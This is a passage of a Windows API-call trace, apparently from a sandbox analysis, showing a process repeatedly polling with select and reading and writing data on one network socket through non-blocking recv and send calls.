exceptfds=0x849718) returned 1 [0119.564] rand () returned 13966 [0119.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc6aff0, dwHighDateTime=0x1d31ac1)) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.564] SetLastError (dwErrCode=0x0) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 893 [0119.564] SetLastError (dwErrCode=0x0) [0119.564] WSASetLastError (iError=0) [0119.564] recv (in: s=0x1d4, buf=0x8659e5, len=3179, flags=0 | out: buf=0x8659e5) returned -1 [0119.564] WSAGetLastError () returned 10035 [0119.564] GetCurrentThreadId () returned 0x918 [0119.564] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.568] rand () returned 3430 [0119.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.568] WSASetLastError (iError=0) [0119.568] recv (in: s=0x1d4, buf=0x8659e5, len=3179, flags=0 | out: buf=0x8659e5*) returned 3179 [0119.568] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.568] rand () returned 31107 [0119.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.568] WSASetLastError (iError=0) [0119.568] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.568] SetLastError (dwErrCode=0x0) [0119.568] WSASetLastError (iError=0) [0119.568] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1172 [0119.568] SetLastError (dwErrCode=0x0) [0119.568] WSASetLastError (iError=0) [0119.568] recv (in: s=0x1d4, buf=0x865afc, len=2900, flags=0 | out: buf=0x865afc) returned -1 [0119.568] WSAGetLastError () returned 10035 [0119.568] GetCurrentThreadId () returned 0x918 [0119.568] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.568] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.569] rand () returned 30191 [0119.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.569] WSASetLastError (iError=0) [0119.569] recv (in: s=0x1d4, buf=0x865afc, len=2900, flags=0 | out: buf=0x865afc*) returned 2900 [0119.569] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.569] rand () returned 18007 [0119.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.569] WSASetLastError (iError=0) [0119.569] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.569] SetLastError (dwErrCode=0x0) [0119.569] WSASetLastError (iError=0) [0119.569] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1451 [0119.569] SetLastError (dwErrCode=0x0) [0119.569] WSASetLastError (iError=0) [0119.569] recv (in: s=0x1d4, buf=0x865c13, len=2621, flags=0 | out: buf=0x865c13) returned -1 [0119.569] WSAGetLastError () returned 10035 [0119.569] GetCurrentThreadId () returned 0x918 [0119.569] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.569] rand () returned 11337 [0119.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.570] WSASetLastError (iError=0) [0119.570] recv (in: s=0x1d4, buf=0x865c13, len=2621, flags=0 | out: buf=0x865c13*) returned 1452 [0119.570] SetLastError (dwErrCode=0x0) [0119.570] WSASetLastError (iError=0) [0119.570] recv (in: s=0x1d4, buf=0x8661bf, len=1169, flags=0 | out: buf=0x8661bf) returned -1 [0119.570] WSAGetLastError () returned 10035 [0119.570] GetCurrentThreadId () returned 0x918 [0119.570] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.570] rand () returned 15457 [0119.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.570] WSASetLastError (iError=0) [0119.570] recv (in: s=0x1d4, buf=0x8661bf, len=1169, flags=0 | out: buf=0x8661bf*) returned 1169 [0119.570] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.570] rand () returned 12287 [0119.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.570] WSASetLastError (iError=0) [0119.571] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.571] SetLastError (dwErrCode=0x0) [0119.571] WSASetLastError (iError=0) [0119.571] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.571] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.571] rand () returned 27753 [0119.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.571] WSASetLastError (iError=0) [0119.571] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.571] SetLastError (dwErrCode=0x0) [0119.571] WSASetLastError (iError=0) [0119.571] recv (in: s=0x1d4, buf=0x865668, len=3622, flags=0 | out: buf=0x865668*) returned 1445 [0119.571] SetLastError (dwErrCode=0x0) [0119.571] WSASetLastError (iError=0) [0119.571] recv (in: s=0x1d4, buf=0x865c0d, len=2177, flags=0 | out: buf=0x865c0d) returned -1 [0119.571] WSAGetLastError () returned 10035 [0119.571] GetCurrentThreadId () returned 0x918 [0119.571] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.572] rand () returned 10383 [0119.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.572] WSASetLastError (iError=0) [0119.572] recv (in: s=0x1d4, buf=0x865c0d, len=2177, flags=0 | out: buf=0x865c0d*) returned 2177 [0119.573] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.573] rand () returned 14945 [0119.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.573] WSASetLastError (iError=0) [0119.573] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.573] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dc91150, dwHighDateTime=0x1d31ac1)) [0119.573] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dcdd410, dwHighDateTime=0x1d31ac1)) [0119.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3dcdd410, dwHighDateTime=0x1d31ac1)) [0119.597] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.688] rand () returned 8909 [0119.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.688] WSASetLastError (iError=0) [0119.688] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.688] SetLastError (dwErrCode=0x0) [0119.688] WSASetLastError (iError=0) [0119.688] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.688] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.689] rand () returned 32209 [0119.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.689] WSASetLastError (iError=0) [0119.689] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.689] SetLastError (dwErrCode=0x0) [0119.689] WSASetLastError (iError=0) [0119.689] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1447 [0119.689] SetLastError (dwErrCode=0x0) [0119.689] WSASetLastError (iError=0) [0119.689] recv (in: s=0x1d4, buf=0x865c0f, len=2625, flags=0 | out: buf=0x865c0f) returned -1 [0119.689] WSAGetLastError () returned 10035 [0119.689] GetCurrentThreadId () returned 0x918 [0119.689] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.689] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.689] rand () returned 9758 [0119.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.689] WSASetLastError (iError=0) [0119.689] recv (in: s=0x1d4, buf=0x865c0f, len=2625, flags=0 | out: buf=0x865c0f*) returned 1452 [0119.689] SetLastError (dwErrCode=0x0) [0119.689] WSASetLastError (iError=0) [0119.689] recv (in: s=0x1d4, buf=0x8661bb, len=1173, flags=0 | out: buf=0x8661bb) returned -1 [0119.689] WSAGetLastError () returned 10035 [0119.689] GetCurrentThreadId () returned 0x918 [0119.689] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.690] rand () returned 24221 [0119.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x8661bb, len=1173, flags=0 | out: buf=0x8661bb*) returned 1173 [0119.690] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.690] rand () returned 18588 [0119.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.690] SetLastError (dwErrCode=0x0) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.690] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.690] rand () returned 6422 [0119.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dd9baf0, dwHighDateTime=0x1d31ac1)) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.690] SetLastError (dwErrCode=0x0) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x865668, len=1758, flags=0 | out: buf=0x865668*) returned 553 [0119.690] SetLastError (dwErrCode=0x0) [0119.690] WSASetLastError (iError=0) [0119.690] recv (in: s=0x1d4, buf=0x865891, len=1205, flags=0 | out: buf=0x865891) returned -1 [0119.690] WSAGetLastError () returned 10035 [0119.690] GetCurrentThreadId () returned 0x918 [0119.691] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3ddc1c50, dwHighDateTime=0x1d31ac1)) [0119.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3ddc1c50, dwHighDateTime=0x1d31ac1)) [0119.691] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.717] rand () returned 24946 [0119.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.717] WSASetLastError (iError=0) [0119.717] recv (in: s=0x1d4, buf=0x865891, len=1205, flags=0 | out: buf=0x865891*) returned 1205 [0119.717] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.717] rand () returned 27506 [0119.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.717] WSASetLastError (iError=0) [0119.717] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.717] SetLastError (dwErrCode=0x0) [0119.717] WSASetLastError (iError=0) [0119.717] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.718] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.718] rand () returned 13030 [0119.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.718] WSASetLastError (iError=0) [0119.718] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.718] SetLastError (dwErrCode=0x0) [0119.718] WSASetLastError (iError=0) [0119.718] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3425 [0119.718] SetLastError (dwErrCode=0x0) [0119.718] WSASetLastError (iError=0) [0119.718] recv (in: s=0x1d4, buf=0x8663c9, len=647, flags=0 | out: buf=0x8663c9) returned -1 [0119.718] WSAGetLastError () returned 10035 [0119.718] GetCurrentThreadId () returned 0x918 [0119.718] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.718] rand () returned 16413 [0119.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x8663c9, len=647, flags=0 | out: buf=0x8663c9*) returned 647 [0119.719] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.719] rand () returned 29168 [0119.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.719] SetLastError (dwErrCode=0x0) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.719] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.719] rand () returned 900 [0119.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.719] SetLastError (dwErrCode=0x0) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3983 [0119.719] SetLastError (dwErrCode=0x0) [0119.719] WSASetLastError (iError=0) [0119.719] recv (in: s=0x1d4, buf=0x8665f7, len=89, flags=0 | out: buf=0x8665f7) returned -1 [0119.719] WSAGetLastError () returned 10035 [0119.719] GetCurrentThreadId () returned 0x918 [0119.720] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.720] rand () returned 32591 [0119.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dde7db0, dwHighDateTime=0x1d31ac1)) [0119.720] WSASetLastError (iError=0) [0119.720] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.720] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.724] rand () returned 18762 [0119.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.724] WSASetLastError (iError=0) [0119.724] recv (in: s=0x1d4, buf=0x8665f7, len=89, flags=0 | out: buf=0x8665f7*) returned 89 [0119.724] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.724] rand () returned 1655 [0119.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.724] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.725] SetLastError (dwErrCode=0x0) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865668, len=280, flags=0 | out: buf=0x865668*) returned 280 [0119.725] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.725] rand () returned 17410 [0119.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.725] SetLastError (dwErrCode=0x0) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865668, len=3816, flags=0 | out: buf=0x865668*) returned 3816 [0119.725] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.725] rand () returned 6359 [0119.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.725] SetLastError (dwErrCode=0x0) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3060 [0119.725] SetLastError (dwErrCode=0x0) [0119.725] WSASetLastError (iError=0) [0119.725] recv (in: s=0x1d4, buf=0x86625c, len=1012, flags=0 | out: buf=0x86625c) returned -1 [0119.725] WSAGetLastError () returned 10035 [0119.725] GetCurrentThreadId () returned 0x918 [0119.725] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.726] rand () returned 27624 [0119.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.726] WSASetLastError (iError=0) [0119.726] recv (in: s=0x1d4, buf=0x86625c, len=1012, flags=0 | out: buf=0x86625c*) returned 1012 [0119.726] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.726] rand () returned 20537 [0119.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.726] WSASetLastError (iError=0) [0119.726] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.726] SetLastError (dwErrCode=0x0) [0119.726] WSASetLastError (iError=0) [0119.726] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3339 [0119.726] SetLastError (dwErrCode=0x0) [0119.726] WSASetLastError (iError=0) [0119.726] recv (in: s=0x1d4, buf=0x866373, len=733, flags=0 | out: buf=0x866373) returned -1 [0119.726] WSAGetLastError () returned 10035 [0119.726] GetCurrentThreadId () returned 0x918 [0119.726] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.726] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.726] rand () returned 21548 [0119.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x866373, len=733, flags=0 | out: buf=0x866373*) returned 733 [0119.727] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.727] rand () returned 6483 [0119.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.727] SetLastError (dwErrCode=0x0) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2166 [0119.727] SetLastError (dwErrCode=0x0) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x865ede, len=1906, flags=0 | out: buf=0x865ede) returned -1 [0119.727] WSAGetLastError () returned 10035 [0119.727] GetCurrentThreadId () returned 0x918 [0119.727] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.727] rand () returned 27595 [0119.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x865ede, len=1906, flags=0 | out: buf=0x865ede*) returned 1906 [0119.727] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.727] rand () returned 4041 [0119.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.727] WSASetLastError (iError=0) [0119.727] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.728] SetLastError (dwErrCode=0x0) [0119.728] WSASetLastError (iError=0) [0119.728] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 